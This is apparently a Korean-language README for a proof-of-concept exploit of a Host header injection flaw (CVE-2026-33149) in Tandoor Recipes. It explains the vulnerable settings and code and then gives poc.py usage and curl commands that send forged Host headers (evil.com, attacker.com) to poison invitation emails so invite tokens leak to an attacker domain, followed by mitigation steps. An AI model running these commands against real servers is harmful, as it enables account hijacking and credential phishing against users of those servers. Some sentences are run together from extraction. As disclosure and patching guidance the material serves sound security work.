
CVE-2026-33149에 대한 개념 증명 익스플로잇으로, Tandoor Recipes의 Host 헤더 주입 취약점을 이용해 초대 링크 중독(invite link poisoning)과 캐시 중독(cache poisoning)을 가능하게 합니다. 호스트 승인, 페이지네이션, 스키마, 초대 중독을 위한 모듈이 포함되어 있습니다.
request.build_absolute_uri()Host가장 심각한 영향은 초대 링크 중독(invite link poisoning)입니다: 관리자가 사용자 초대를 생성하면 서버가 보내는 이메일에는 공격자의 도메인을 가리키는 링크가 포함됩니다. 피해자는 정상적으로 보이는 이메일을 클릭하고, 초대 토큰이 유출되며, 공격자는 이를 사용하여 계정 프로비저닝 흐름을 탈취합니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — 스크립팅 구문을 위한 HTTP 헤더의 부적절한 중화(Improper Neutralization of HTTP Headers for Scripting Syntax) |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| 영향받는 버전 | Tandoor Recipes ≤ 2.5.3 |
| 공급업체 | TandoorRecipes/recipes |
파일: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
Django의 ALLOWED_HOSTS는 Host 헤더를 화이트리스트와 대조하여 검증하는 보안 조치입니다. 와일드카드 '*'는 이 검증을 완전히 비활성화하여 임의의 값을 허용합니다.
파일: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri()는 request.get_host()를 사용하여 URL을 구성하는데, ALLOWED_HOSTS가 이를 제한하지 않으면 원시 Host 헤더 값을 반환합니다. 초대 UUID(비밀 토큰)는 이제 공격자를 가리키는 URL에 포함됩니다.
next/previous URL에 build_absolute_uri()를 사용합니다.┌──────────┐ ① 조작된 요청 ┌─────────────────┐
│ 공격자 │ ──────────────────────────────→│ Tandoor 서버 │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
"attacker.com" 사용
│
▼
┌────────────────┐
│ SMTP 서버 │
└────────┬───────┘
│
③ 중독된 링크가 포함된 이메일:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ 피해자 │
│ (링크 클릭) │
└────────┬───────┘
│
④ UUID가 공격자에게 전송됨
│
▼
┌────────────────┐
│ 공격자 │
│ 실제 서버에서 │
│ UUID 사용 │
└────────────────┘
requests 라이브러리pip install requests
# 기본 인증으로 모든 검증 모듈 실행
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# 세션 쿠키로 모든 모듈 실행
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# 초대 링크 중독만 실행
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| 모듈 | 설명 |
|---|---|
host-accept | 대상이 임의의 Host 헤더를 수락하는지 확인 (ALLOWED_HOSTS = '*') |
pagination | API 페이지네이션 URL이 주입된 도메인을 반영하는지 확인 |
schema | OpenAPI 스키마 서버 URL이 주입된 도메인을 반영하는지 확인 |
invite | 중독된 초대 링크 생성 — 주요 공격 벡터 |
all | 모든 모듈을 순차적으로 실행 |
1. Host 헤더 수락
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# 예상: 200 (취약) | 400 (패치됨)
2. 페이지네이션 URL 반영
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# 예상: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. 스키마 URL 반영
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# 예상: http://evil.com/...
4. 초대 링크 중독
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# 피해자가 이메일 수신: "Click: http://attacker.com/invite/<uuid>"
| 영향 영역 | 설명 | 심각도 |
|---|---|---|
| 초대 토큰 탈취 | 공격자가 중독된 이메일 링크를 통해 초대 UUID를 획득하여 계정 프로비저닝을 탈취 | 치명적(Critical) |
| 자격 증명 피싱 | 피해자가 정상적인 등록 페이지로 기대하고 공격자가 제어하는 도메인에 접속 | 높음(High) |
| 캐시 중독 | 캐싱 프록시를 사용하는 배포 환경에서 단일 중독 응답이 모든 사용자의 캐시를 오염 | 높음(High) |
| API 클라이언트 오인 유도 | 페이지네이션 및 스키마 URL이 API 소비자를 공격자 인프라로 리디렉션 | 중간(Medium) |
ALLOWED_HOSTS를 유효한 호스트 이름을 명시적으로 나열하도록 설정하세요:
# docker-compose.yml 또는 .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host 헤더가 있는 요청을 거부하도록 구성USE_X_FORWARDED_HOST = False — Django가 신뢰할 수 없는 소스의 X-Forwarded-Host를 신뢰하지 않도록 보장 (기본값은 False)request.build_absolute_uri()에 의존하는 대신 이메일 링크 생성에 명시적인 SITE_URL 구성을 사용이 개념 증명은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
Filipe Gaudard — 공격적 보안 연구원 | eWPT | eWPTx